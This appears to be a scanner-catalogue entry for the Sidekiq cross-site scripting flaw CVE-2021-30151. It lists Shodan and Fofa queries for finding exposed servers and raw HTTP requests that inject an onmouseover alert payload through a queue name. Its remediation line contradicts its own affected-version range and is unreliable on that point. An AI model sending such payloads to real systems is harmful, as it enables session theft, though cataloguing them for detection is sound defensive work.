| Title | Sidekiq <=6.2.0 - Cross-Site Scripting |
|---|---|
| Author | DhiyaneshDk |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could lead to unauthorized access, data theft, or session hijacking. |
| Remediation | Upgrade to Sidekiq version 6.2.0 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.2396 |
| CVE ID | CVE-2021-30151 |
| CWE ID | CWE-79 |
| Shodan Query | title:"Sidekiq"http.title:"sidekiq" |
| Fofa Query | title="sidekiq" |
| Tags | cve2021 cve xss sidekiq authenticated contribsys vuln |
Sidekiq through 5.1.3 and 6.x through 6.2.0 contains a cross-site scripting vulnerability via the queue name of the live-poll feature when Internet Explorer is used.
POST /api/auth HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/json
Accept-Encoding: gzip
{"email":"CtVHwI","password":"HttytT"}
GET /queues/%22onmouseover=%22alert%28document.domain%29%22 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30151.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-30151.pcap
N/AN/A